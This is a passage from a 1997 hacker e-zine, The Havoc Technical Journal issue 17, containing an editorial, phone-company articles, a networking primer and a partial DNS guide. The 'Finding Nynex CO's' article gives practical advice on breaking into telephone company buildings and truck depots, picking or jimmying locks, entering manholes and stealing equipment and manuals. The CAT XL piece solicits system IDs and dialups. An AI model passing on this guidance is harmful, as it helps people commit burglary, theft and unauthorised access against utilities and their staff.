ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ³The Havoc Technical Journal - http://www.thtj.com - ³± ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ± ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Vol.2 No.4 Issue 17 ³ December 1st, 1997 ³ "Putting the hell back in shell." ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ -³ The Havoc Technical Journal issue 17 ³- ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Editorial..............................Scud-O 6k Finding Nynex CO's.....................Syrus 6k CAT XL: Uses and Functions.............Syrus 9k Basic Network Architecture Part I......lurk3r 27k DNS: The Domain Name System............wyclef_ 27k The Boot Process.......................Scud-O 14k MMC: Microsoft Management Console......FuManchu 3k bomber.c...............................memor 1k cleart.c...............................memor 20k ip_frag.c..............................simon 5k thejackal.c............................Ralph5 8k land.c Information.....................simon 17k The Mailroom...........................Scud-O 22k The News...............................KungFuFox 2k Reader Survey..........................thtj staff --- Total: 181k +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ+ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-+ ³ The THTJ Distribution Mailing List ³ ³ majordomo@terminus.orc.ca ³ ³ 'subscribe thtj you@your.isp' ³ +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-+ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸ ³the havoc technical journal - contacts³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ Editor in Chief : Scud-O, scud@thtj.com Executive Editor : KungFuFox, kungfufox@thtj.com Submissions Editor : Keystroke, submissions@thtj.com, keystroke@thtj.com thtj email address : thtj@thtj.com thtj website : http://www.thtj.com/ thtj mailing address : PO BOX 448 Sykesville, MD 21784 Send All Articles to : scud@thtj.com Submissions Info & Policy: http://www.thtj.com/submissions.html Distribution Info: http://www.thtj.com/distro.html To subscribe to The HAVOC Technical Journal, send mail to: majordomo@terminus.orc.ca, with no subject, and the body reading 'subscribe thtj you@your.isp' with out the quotes. Note that this majordomo is only for thtj distro. The open mailing list is coming soon. The HAVOC Technical Journal Vol. 1, No.17, December 1st, 1997. Contents Copyright (©) 1997 The HAVOC Technical Journal. All Rights Reserved. No part of this publication may be reproduced in whole or in part without the expressed written consent of The Editor in Chief for The HAVOC Technical Journal. [No copying THTJ, damnit.] The HAVOC Technical Journal does in no way endorse the illicit use of computers, computer networks, and telecommunications networks, nor is it to be held liable for any adverse results of pursuing such activities. [Actually, to tell you the honest to goodness truth, we do endorse that stuff. We just don't wanna get in trouble if you try it for yourself and something goes wrong.] The articles provided in this magazine are without any express or implied warranties. While every effort has been taken to ensure the accuracy of the information contained in this article, the authors, editors, and contributors of this zine assume no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein. -------------------> 'Its Not Our Fault' <------------------- For infomation about using articles published in THTJ, send mail to: e-mail: thtj@thtj.com ³ mail: THTJ PO Box 448 Sykesville, MD 21784 NOTICE: if you are a government offical or employee reading this file, you MUST register with thtj. A registration permit will be mailed to you free of charge by using either of the mail addresses above. A Registration fee of $50 is required upon submission of the permit. This will entitle you to recieve thtj via a private mailing list, or via snail mail on a 3.5 floppy disk. UNTIL you are officially registered, you MUST DELETE ALL COPIES of thtj that you have, either in print or on a computer. You CAN NOT read thtj until you are registered. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Editorial: The Future / THTJ Needs You By Scud-O, Editor in Chief The Future ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ After this issue the staff at thtj will be taking a break and totally redesigning this zine. This process may make thtj18 a little late, but we can not tell. Please still send your articles for issue 18 to us, and we will include them in issue 18. The zine will be redone from the ground up, so we will need to get your input in content and format. Hopefully we will still be able to ship thtj18 out on January 1, but if not, we will get it out as soon as possible. thtj might also be going thru some deadline changes, and those will be set straight in thtj18. The editors are also going to be thinking and modifying layouts and possibly taking out sections of thtj that we deem bad or not needed, for good. I hope that you can live with this, since this redesign will hopefully make thtj a much, much, much better zine. Recently I have become very displeased with thtj, and so have the other editors, making this redesign and break needed. We need to hear your opinions on things so that we can make this zine better for *you* the reader. You are who this zine is for, so help us make it better for you. Please fill out the survey at the bottom of this issue and mail it to me. And write some stuff for thtj! THTJ Needs You! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Recently some of you out there have been saying what thtj needs to add to its format. You say, but you do not act. THTJ is not just made by the thtj staff, it is a zine made by the people, for the people. If you want to see something added to thtj, then work with us on it. Do it. THTJ currently has alot of material in it, but we have a serious shortage of phreaking articles that are submitted to us. While hacking is more popular than even, and hacking material is easy to come by, phreaking material is not. THTJ is working to become a medium for phreaking information, but we can not do it with out you. We urge you to help thtj and the underworld with phreaking materials. THTJ also has a seriuos shortage of the following type of articles: o NT Articles o Phreaking o UNIX Code o Crypto o VAX/Other OSes The thtj staff is currently working to get articles on these subjects, but we can not do it alone. Your submissions are critical. Your submissions are *very* important to us. You help make this zine run. Why write for thtj? Simple, thtj is one of the largest zines out there covering hacking, phreaking, coding, crypto, etc. THTJ has recieved worldwide coverage, and everyday thtj is reaching more people. Your name will be on peoples minds after thtj has included one of your articles. After 2 or more articles, you are eligable to be included on the thtj staff and receive some goodies from thtj.com, information before anyone else has it, meet the contacts and friends out there, and receive copies of thtj issues before anyone else does. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Scud-O , Founder, and Editor in Chief of THTJ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Finding Nynex CO's By Syrus This article is written of informational purposes only. By reading this, you agree that Syrus is in no way whatsoever responsible for anything you do, related to this article or not. Now that the legal bullshit is over, I can get to the point. The purpose of this article is to inform you of methods used for locating Nynex Central Offices(CO aka EO), Intermediate points (IO; which are small stations that are all digital), and even Toll Points (TP), Toll Centers (TC's), and Remote Switching Units (RSU's, aka class 5R. They are buildings that are about 10x10). Most of these, including RSU's have dumpsters, unstable locks, and even open doors(hopefully Nynex corporate security isn't reading this..)! I will briefly go over the purpose of the building, security, and attributes. Central Offices (aka End Offices)- These are usually offices that handle residential service. The ones in my area have 1AESS for switching. Also I came across a CO once that had DMS-100(probably for digital lines for business customers). The layout of an CO is pretty obvious: -The building itself has no windows around the sides. All windows are either around doors, or near corners on the second story. The building itself is made of brick (red) or concrete. A small stone sign saying New England Telephone is usually out in-front of the building. Nynex trucks are parked in lots near the building or are in-front of it. -The dumpsters are normally unlocked. And contain everything you could imagine that would be thrown out of a CO. I have came across a CO that was built afew years ago with no dumpster. A further investigation revealed that the lower floor had nothing on it at all. Rather strange, to this day it remains the same. -CO's have no security at night. Everyone is gone by about 12:30. Which makes it great for trashing. Remote Switching Units. These buildings are small in size and usually handle a small rural or small business subscriber base. Switching is generally 10A-RSS or sometimes they are RT's (remote terminals) for SLC-96. Layout: -Small. Usually only room for one or two trucks. Big Cans near one side of it. One door. About 10'x10'. -I found one dumpster outside one. It was a small size. Trash was usually from the attendant or linemen that go in there. The dumpster had trash 8 months old in it. -No security. Hell you could probably break into it. Intermediate Points: These building are similar to RSUs. With the exception that they have 4ESS switches in them, so with 5ESS. They handle massive amounts of subscribers. They are normally unmanned after 5. 1 - 2 people man them during the day. If you stake one out, like I did, you'll find that 1 guy is usually there, then leaves for lunch. Little security. Toll Centers: If you find one of these, usually one in every area code or local calling area. They have 5AESS switches. They are big buildings in with Nynex written all over them. They have lots of windows, and lots of parking. Operators sometimes hangout here, and lots of workers go in and out. Layout: -There are cameras usually overlooking back entrances. -No night watchman. Most workers are gone by 10PM. If there are operators in there, then someone will always be there. -No fences. Dumpsters unlocked. Usually an alley leads to them. Truck Depots- These are my favorite! They hold all the trucks in a big garage. In the offices the people who take care of business callers are there during normal hours. Mechanics, burn-out repairmen, etc. are gone by 12:00PM. The garage doors are open till then. You can easily sneak in, hide under or in a truck, wait for the lights to go out, and then help yourself. There are steel doors next to all the garage doors too. Layout: -Fence with barbed wire or normal fence. -Lights everywhere. -No cameras, no alarms.(TRUST ME). -The garage is usually half-lite at night. All the offices and all are pitch-black. PART II Finding the Location This is the hard-part. If you find a truck depot, go there at like 07:00AM and follow either vans, big heavy trucks, or trailers. They usually stop off at CO's to see what's going on. If you see a Nynex truck, follow it. They usually go to CO's some point in the day. If its about 5-6PM, try following it. They will lead you right to a truck depot. Another method is to follow the phones lines. When they are thick they branch into the ground. Now they are hooking up with the drop cables. If your in a city, look around for a manhole cover to lift up and then jump in. Inside you will find manuals, test sets, and all other sorts of goodies. If your in the country, when they are thick, a CO is near by, or an SAI (service area interface), which are big steel boxes that stand straight up. A CO should be within 2-5 sq. miles. Another method that I tried is to go into city hall. Yup thats right, go right in, look for the tax accessors office. Ask them to give you the address of all the New England Telephone buildings in the city. This usually works. I had 3 people do this for me at once the first time I tried it. I received the complete printouts of the tax records, even the building's gross worth! This allows you to place your priority. Some cities can't give you the info unless you provide an address. This sucks. These are my starter methods. I know every location of every telecommunications building adjacent to my town. If anyone has any good advice, please email me(flames > /dev/null). Part III Security Nynex buildings (CO's, Depots, etc) usually have only one security measure. Locks. Magnetic strip, electro-magnetic, or just key. There looks can be jimmied pretty easily. Picking can be done with automatic lock pickers. Basicly, if your determined to get into one, you'll get in, without the cops knowing until after (if your destructive). I have came across CO's with doors ajar, and even a door unlocked. So don't be surprised. Especially in a low crime area. Windows are open during the summer and are accessible by fire escapes. Roofs often have entrances unlocked. Well that about wraps up this article. Look for more articles by me about: Trashing Truck Robbing ESS system commands Breaking and Entering And: MVS: Overview and Introduction. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CAT XL, Uses and Functions By Syrus INTRODUCTION: This isn't a Craft Access guide. This simply explains the features of the XL model of the Craft Access Terminal line. If you want a good tutorial, look for some good articles on the net and steal manuals to get more info. DESCRIPTION: The Cat XL is the newest, latest, and greatest Cat out there.It is was made by AT&T but now it's made by Lucent Technologies. The one I have is rather old because it still bears the AT&T logo. The XL has a 20 coloum by 8 line LCD black display. It has quite a few buttons, here they are: +----------------+ ||--------------||/(on) ON/OFF TOGGLE || || (off) || || || LCD SCREEN ||/ (Voice switch)(V) || ||- (Monitoring switch)(M) || ||\ (Data Switch) (D) || || ||--------------|| | /--------/--|----> Send Buttons | o o | | | | \ <--|--> <--|-------> Joy stick replacement. \ | / up = back \ / down = review | | right = next | | left = help | | | | ~~~~~~~~~~~~~~~~~~ | | / \ / \ | 1 2 3 | | 4 5 6 | < DTMF tones (standard) | 7 8 9 | | * 0 # | +-o--|----O----+ ^ ( ) ^ Power(12 V DC)<------------| | +----------------> 4 wire hookup to clips +---> Belt Clip and rj-11 male jack. SOFTWARE: The XL I have runs Cat XL software V. 11.3 which is copyrighted 1996. So as we can see, it a fairly modern patched OS. Upon boot it does self diags. If the battery is low, it ask you to charge the XL soon. Menus vary. We'll start from modes. From V or voice mode, it asks you a number to dial: (screen shot) ------------------------------------- |After dial tone |enter phone number: | (field for data) use pulse dialing (if you hit next, then a cursor ">" comes up and you can select pulse) ------------------------------------ If you hit review key then you get (this is universal): Dispatch Linked Job line record test ----------------------------- DISPATCH MENU: Dispatch test --> Tests to see if CAT server is online. Failure will yeild in "SWITCH FAILURE" Customer --> CN/A info for a job. Shows number/CN/A/problem and the date when the job was recieved. Trouble --> shows troubled sites. May include SAI's, CO's, etc. Many acronmy's I don't know. Facilities --> shows cable pair number on terminals that need to be modified. Also has color of the pair. Has the address of the terminal. I think they use this info for adding/maintaining customer lines. LINKED JOB MENU: Customer --> more customer info for certain jobs. Trouble --> a link to the DISPATCH:TROUBLE menu. Facilities --> a link to DISPATCH:FACILITIES menu. LINE RECORD MENU: Customer info --> a link to LINKED JOB:CUSTOMER menu. Facilities --> holds info on two facilites titled F1 and F2 shows info that is similar to DISPATCH:FACILIT- IES, but has differant locations, pairs, and other more acronyms. Other Facilities --> More info on Facilities. I guess the way the OS address' its data fields, certain items are limited to approximately 1.2KB of space, so to get around this, they made more fields to hold similar data. Other --> Equipment --> Shows equipment to work on and CO end equipment. ID's mostly. However SLC-96 equipment is mentioned. Look for an article on this from me too. Line Test --> Info on the line when the work is complete. (end of LINE RECORD) TEST MENU: This menu displays output from testing. It mostly has to do with electrical current: dc meas: 3500 K t-r 3500 K 0v t-g etc. Line Status ------------------------------ The M or Monitoring key yields: |Monitoring --> Menu title (| = title) erase memory --> Earse user data in the NVRAM. decrease volume --> Decrease volume for the speaker. increase volume --> Increase volume for the speaker. ---------------------------- The D key yields: |After dial tone |enter computer no: (area for data) use pulse dialing. ---------------------------- This area is for the Craft Access Computer number. If this number is preprogrammed, then your lucky. However, it requires an ID to be entered when you dial up and connect to it. Its not an employee ID, its a system ID. I have no info on how many chars., valid numbers, etc. But If anyone has any dialups or ID's or knows an algorithm for it, I would like to talk to you. Please email me at: syrus@empire.net. On another note, I am going to see if I can get me some more CAT manuals and the like. If you know of a place on the Internet, please send me the url. If you have manuals or are willing to share info, PLEASE, drop me a line. My next article will be on the CAT Administration systems and networks. I don't know much about these, snice the only manual I had on it was taken by Nynex Gestapo (thanks Warren Brown, you fuckbitch). I also lost my CMC-386 which is a small laptop style computer that interfaces directly with a digital telephone switch (ESS/DMS). I still have the manual so expect another article on that too. During this article several people helped me, Bands: Chemlab, Acumen, Death Ride 69, and Trust Obey. People: Booger, for helping me get it! Andrewr, for being damn cool. Groups: PLANH, and HackersUnited (http://hackersunited.dynip.com) for giving me LOTS OF LAUGHS last night and being the most "we not lamer, we eleet group" I ever heard of. Later, Syrus Check out Phone Losers of America--New Hampshire! planh.ml.org (80) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Basic Network Architecture, Part I By lurk3r I decided to write this article because of the fact of all the text files i see on basic hacking of networks and of the many exploits i see out there on buffer overflows,segmentation faults,floods, etc etc. And I see alot of people using these exploits but not exactly knowing how or why they work. So I wrote this for the people out ther elike myself who not only want to use these things but actually care enough to want to know why and how they work.So i will be dedicating my next few articles to this subject.Any comments ,corrections,ideas,and so forth can be mailed to me at lurk3r@earthlink.net. DO NOT mail me asking me about something I have already explained. Reread the damn article. And if i get enough mail on one particuler subject I will prolly cover it in the next article.So do your part as the rest of us at thtj are doing also.As Scud has said. This is a mag by the ppl for the ppl. Also if anyone is good at making ascii charts and diagrams plz mail me. Primer: In any network there exists a collection of machines intended for running user's programs.We will follow the terminology of one of the first major networks, theARPANET, and call these machines hosts. The hosts are connected by the communication subnet,or subnet for short.(also known as transport system or transmission system) The job of the subnet is to transport messages from host to host,just as a telephone carries sound from speaker to listener. By seperating the pure communication aspect of the network (subnet) from the applications aspect (host), the complete network design is very simplified. In nearly all networks the subnet consists of two basic components: switching elements and transmission lines. The switching elements are usually specialized computers. Again following the ARPANET terminology, we'll call them IMPs (Interface Message Processors)although the terms communications computer,packet switch,node, and data switching exchange are often used. Transmission lines are often called circuits or channels.All traffic to and from the host goes via IMP. Broadly speaking there are 2 general types of designs for the communication subnet. 1:point-to-point channels 2:Broadcast channels In the first one, the network contains numerous cables or leased lines,each one containing a pair of IMPs.If two IMPs that do not share a cablewish to communicate, they must do this indirectly,via other IMPs.When a message is sent from one IMP to another one via one or more intermediate IMPs,the message is recieved at each intermediate IMP in its entirety,stored there untill the required output line is free,and then forwarded to its destination. Asubnet using this principle is called a point-to-point or store-and-forward subnet. The second kind of network architecture uses broadcasting. In this design there is a single communicationchannel shared by all IMPs.With this type a message sent with a IMP are recieved by all other IMPs. Something in the message itself must must specify for whom it is intended.After recieving a message not intended for itself the IMP just ignores it. (imagine the security holes in that) Layers: To reduce their designcompexity most networks are organized as aseries of layers or levels, each one built on its predecessor. The number,number,and function of each layer differ from network to network.But in all networksthe purpose of each layer is to offer certain services to higher layers,sheilding those layers from the details of how the services are implemented. Layer X on one machine carrieds on a conversation with Layer X on another machine.The rules and conventions used in this situation are known as the Layer X protocol.The entities making the corresponding layers on different machines are called peer processes.(in other words,it is the peer processes that communicate using the protocol.) In reality,no data is directly transfered from Layer X on one machine to Layer X on another (except in the lowest layer) Instead,each layer passes data and control information to the layer immediately below it,untill the lowest layer is reached. Atthe lowest layer ther is physical communication with the other machine,as opposed to he virtual communication used by the higher layers. Between each pair of adjacent layers there is an interface. The interface defines which primitive operations and services the lower layer offers to the upper one. The set of layers and protocols is called the network archtecture. The specification of the architecture must contain enough information to allow an implementor to write the program for each layer so that the program will correctly obey the appropriate protocol.Neither the details of the the implementation nor the specification of the interfaces are part of the architecture.In fact it is not even necessary that the interfaces on all machines in the network be the same. so long as each machine can correctly use all the protocols. For a basic example: Imagine 2 lamers (peer processes in layer 3) one in U.S and one in France,who want to communicate.Since they have no common language,they each engage a translater (peer process at layer 2),each contacta an engineer (peer process in layer 1) lamer 1 wishes to tell lamer 2 to go to hell. To convey his thoughts he sends a message in english (across the 2/3 interface), to his translator, who might render it as "piss-off" or "eat me" depending on the layer 2 protocol. The translater then gives his message to his engineer for transmission, by telephone, comp network, or some other means,depending on what the two other engineers decided on in advance ( the layer 1 protocol ). When the message arrives,it is translated into french and passed acros the 2/3 interface to lamer 2. Note that each protocol is completely independent of the other ones as long as the interface is not changed. The translators can switch from French to English at will,provided they both agree,and neither changes its interface with either layer 1 or 3. okay got that? if not mail this mag back to us with the header im to lame to have this, and delete it from your harddrive. if so then lets move on to a more technical example: how to provide virtual communication to the top layer of the seven-layer network. A message, X, is produced by a process running in layer 7. The message is passed from layer 7 to layer 6 according the the definition of the layer 6/7 interface. In this example layer 6 transforms the message in certain ways (i.e. text compression), and then passes the new message, X, to layer 5 across the layer 5/6 interface.Layer 5, in this example, does not modify the message but simply regulates the direction of the flow.(i.e prevents an incoming message from being handed to layer 6 while layer 6 is busy handing a series of outgoing messages to layer 5). In this example,as well as many actual networks,there is no limit to the size of the message accepted by layer 4, but there is a limit imposed by layer 3. Consequently,layer 4 must break up the incoming messages into smaller units, adding a header to each unit.The header includes control information,such as sequence numbers,to allow layer 4 on the destination machine to put the pieces back together if the lower layers do not maintain sequence. Layer 3 decides which of the outgoing lines to use,attaches its own headers and passes the data to layer 2 (using which interface? if u guessed 3/2 your right.)Layer 2 adds not only a header to each piece but also a trailer to it,and gives the resulting info to layer 1 for physical transmission (using which layer again?). At the recieving machine the message moves upward, from layer to layer ( via the what?) with headers being stripped off in the process. Conclusion: The important thing to understand is the relation between the virtual and actual communication and the difference between protocols and interfaces.The peer processes in layer 4, for example,think of their communication as being horizontal using the layer 4 protocol. Each one is likely to have a procedure called such as "Send to other side" and a procedure "From other side", even though procedures actually communicate with lower layers across the 3/4 interface,not with the other side. The peer process is cruscial to all network design,Without this technique it would be impossible to make the design the the complete network,an unmanageable problem into several smaller,manageable, design problems,namely the design of the individual layers.( maybe in next issue if i can get someone to put together some ascii charts for me) Personal Note: For those trying to send mail to rseal@earthlink.net im sure u know its down now. the new email would be lurk3r@earthlink.net and url http://home.earthlink.net/~lurk3r/index.html -----------------------Channel Shout-outs: #Virii , #Phreak (obviously) -------------------------------------- -----------------------People: memor , jlb , Reality , Scud , darkstarz , Wrd , FA-Q , Warsprite----------- ------------------------------------------------------------------------------------------------------------------------------- ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DNS, The Domain Name System by wyclef_ What Is DNS? Top-Level Domain Designations in the United States How named Works Running Your Own Domain Name Server DNS Configuration Files Reverse Lookups: IP to Hostname, the IN-ADDR.ARPA Domain SOA Record NS Records Address and Alias Records The db.IP File PTR Records The Loopback Interface The named.root File The /etc/named.boot File Starting named DNS and BIND Primer The Internet is a vast collection of networks. Before a computer can talk to another, it needs an address. This address typically takes the form of a name because names are easier for people to remember. Computers, on the other hand, prefer numbers. Without the Domain Name System (DNS), your computer would need to have a huge address book of names and addresses that included every computer on the Internet. If you wanted to send e-mail to a user at host.foo.com, the system would have to figure out that you wanted to talk to the machine at address 1.2.3.4 and do its thing. This approach has several problems, including the following: Your address book would always have to be up-to-date. An old address book would not have entries that were recently added; or worse, if a host changed addresses, you would no longer be able to communicate with that host. Your address book would have to include every address for every system that you wanted to communicate with. No two hosts could share the same name. What a mess! Believe it or not, this was the way that it was until 1984. A large host table (HOSTS.TXT) was maintained in one server at the Stanford Research Institute Network Information Center (the NIC). With more and more networks going online, it became almost impossible to keep the host list up-to-date. Before the list would be downloaded by all hosts, someone would have introduced a change that would require downloading yet another new list! Vestiges of this address book are still used by your system to look up hosts in your local network— the /etc/hosts file. DNS: the Domain Name System A new system developed by Paul Mockapetris of USC's Information Sciences Institute was proposed as a replacement for HOSTS.TXT. Mockapetris's system addressed the network-load and consistency problems that the infamous HOSTS.TXT system had. Mockapetris's system boasted the following capabilities: 1.The elimination of the single repository for host information would eliminate network traffic problems caused by network administrators downloading an updated version of the HOSTS.TXT file. 2.It would also introduce a name-based domain system, where each domain would have its own internal context; thus allowing for hosts in different domains to have the same name. 3.And most importantly, it would allow for delegation of host information management. The responsibility for managing each network and each network's subdomain was handed to the local administrator for the zone in question, which made the task of keeping information up-to-date much more manageable. Local host information could be made available globally through the client/server nature of the system, insuring that each request was answered with reliable data from an authoritative source. The original DNS system was described in the 1983 Request for Comment (RFC) documents 882 and 883. Both have been updated and superseded in 1987 by RFCs 1034 and 1035, and again in 1990 by RFCs 1101 and 1183, which implement the current specification of the DNS. In software, DNS is implemented on UNIX systems as the Berkeley Internet Name Domain (BIND) system. BIND is shipped in almost every UNIX box. The current BIND release is composed of several programs including: named, named-xfer, named.restart, named.reload, ndc, nslookup, and the resolver libraries. The resolver libraries provide routines for programs to query DNS name servers, so you can design programs that make use of the DNS. Here's a list of the entire distribution and what each does: dig A domain information groper; a command line tool that can be used to gather information from a DNS server. It has zillions of options. dnsquery A program that uses the BIND resolver library calls to query name servers. host A program that does reverse DNS lookups. Instead of specifying a hostname to find its IP address, you supply the IP, and host returns the hostname. named-xfer A tool for doing zone transfers. Usually this program is called by other software. It can also be used to debug a zone transfer problem. But more than likely you won't use it at all. named The Internet domain name server daemon, and the focus of my attention in this appendix. named.reload A convenience program to restart the named daemon and force the server to reload and update its database files, if necessary. This program uses a hangup (SIGHUP) signal. named.restart A convenience program to restart the named daemon and to force the server to reload and update its database files, if necessary. This program kills the name server by using a kill (SIGKILL) signal and then starts a new server. ndc A cool program that allows you to send various signals to the named daemon. This command allows you to monitor the status of the server as well as to force database reloads. It has many other options. What Is DNS? DNS is a distributed database. By distributed I mean that no single repository contains complete information regarding other domains. A program called name server is responsible for implementing the server portion of the equation. When a machine is configured to use DNS, client programs making calls to the gethostbyname() and gethostbyaddr() library routines use the resolver library. This library allows them to query a name server across a network instead of looking up information in the /etc/host file. The structure of the Internet domain system is similar to that of the UNIX file system. There's a root domain and a series of directories called top-level domains. In turn, top-level domains are composed of other subdirectories or subdomains. Each domain or subdomain is separated by a dot (.). Each second-level domain can have up to 26 characters. Subdomain labels can have up to 63 characters in length. The root domain is null, meaning there's no label, and is usually represented by empty quotes (""). Unlike a file path, domain names are written and read from the bottom up: host.subdomain.domain.topleveldomain The host label is the name of the machine. The subdomain label is a subdivision of a domain. Typically subdomains are used to create logical groupings of machines to match some internal organization criteria. Don't be surprised if you ever see more than one subdomain. As a matter of fact, subdomains are common under geographical domain designations. The domain is the domain name of the organization, usually matching the organization's name, such as IBM, APPLE, and NEXT. The topleveldomain is a classification of the domain. Top-Level Domain Designations in the United States COM Reserved for commercial organizations such as Digital Equipment Corporation (digital.com) or Hewlett-Packard Corporation (hp.com). EDU Used by educational organizations such as the University of Wisconsin (uw.edu). GOV Used by U.S. government organizations and agencies such as NASA (nasa.gov) or the Federal Bureau of Investigation (fbi.gov). MIL Reserved for use by the U.S. Armed Forces such as the Air Force (af.mil) or the Navy (navy.mil). NET Reserved for networking organizations and leased line providers such as Internet Connect (inc.net), a regional Internet service provider in Wisconsin. ORG Reserved for noncommercial organizations such as the popular Electronic Frontier Foundation (eff.org). INT International organizations such as NATO (nato.int) ARPA This is a historical domain that was used during transition from the host tables to the DNS. Organizations and networks originally found under this domain have since migrated to their appropriate locations on one of the previous subdomains. This statement is actually not the full truth. The original classifications originated before the Internet became an international entity. Given its incredible and unexpected success everywhere, additional classifications emerged geographical designations. Look elsewhere for this information, it is about 40k for the complete list! How named Works named (pronounced name-d) is the BIND name server daemon. This software answers queries about hostnames and IP addresses. When named doesn't know the answer to a query, it asks other servers (typically in the top-level domains) that provide information on how to contact other name servers responsible for the domain in question. named caches this information in case there's a need to find another host near that domain. This allows it to ask a closer name server for the answer in future queries. This effectively skips the top-level name servers from the process and reduces the overall effort required to obtain the new address. There are three types of name servers: Primary Secondary Caching-only Name servers are distinguished by the source of their information and if the server providing the information is authoritative for the domain. Authoritative name servers provide information that is "guaranteed" to be correct. While nonauthoritative answers are usually correct, primary and secondary servers for a domain are the only servers authoritative for the information. Caching-only name servers are never authoritative, although they help speed up the process a great deal. I should qualify the guaranteed qualifier I used in the last paragraph. It is possible for information provided by a secondary name server to be stale. Unless the System Administrator manually updates the secondary servers, it is possible for secondary servers to distribute stale information until their refresh period expires. A refresh period forces secondary name servers to check for changes on the domain database file after the period of time specified by the Administrator managing the domain is complete. Typically this period is no longer than six hours. If you were wondering about the reliability of cached information, it will satisfy your curiosity to learn that DNS information is usually cached for a little while. Cached information only exists until the Time To Live (TTL) delay expires. The TTL for DNS-cached records is usually set to one day. You should also be aware that the top-level and sometimes second-level domain name servers never cache information. Otherwise, top-level information could be vulnerable to tainted information. Also, because of the amount of information they handle, their caches would quickly grow and bloat, which increases the computational load required to find an answer. Running Your Own Domain Name Server Before you proceed, you will need to register your domain name with the InterNIC if your domain falls into any of the ORG, NET, EDU, GOV, and COM domains. If you want to register a U.S. domain, go to http://www.isi.edu/in-notes/usdnr. Registering your domain involves a few steps: 1. Figure out where in the domain hierarchy your organization falls. 2. Find a domain name that is not in use by another site in that domain hierarchy. 3. If you are not on the Internet yet, find someone that will host a temporary name server for you. 4. Fill out an application. 5. Wait for the application to be approved. Registering your own domain can be a great thing. It establishes your identity in the Internet, and it makes you available to the world. To search for names that have not been taken, you can visit http://rs.internic.net for searches involving ORG, NET, EDU, GOV, and COM domains. To search in the U.S. subdomain, visit http://www.isi.edu/in-notes/usdnr. Choose the registration services link. Once on that page, choose the Whois registration tool. This page gives you a Web interface to the whois program. The whois program allows you to research domain name information among other things. If you find a match, your name is in use. Some things to keep in mind: domain names cannot be longer than 26 characters and can only contain letters, digits, and dashes. Once you find a name that is not in use, you can go ahead and complete the World Wide Web application form. You will need to have the address for two name servers that supply information about your domain. The machines you list in the application will be queried for information about your domain, so you need to make sure that they are reachable or if your network is not up, that someone runs DNS for you temporarily. Usually your service provider can help with this. If the name servers are not found during the verification process, your application will be delayed. Once you complete the online form, a copy of the application will be mailed to you. Please note that the application you filled online is not processed. To process the request you need to e-mail the form back to domreg@internic.net. A small charge is associated with registering a domain 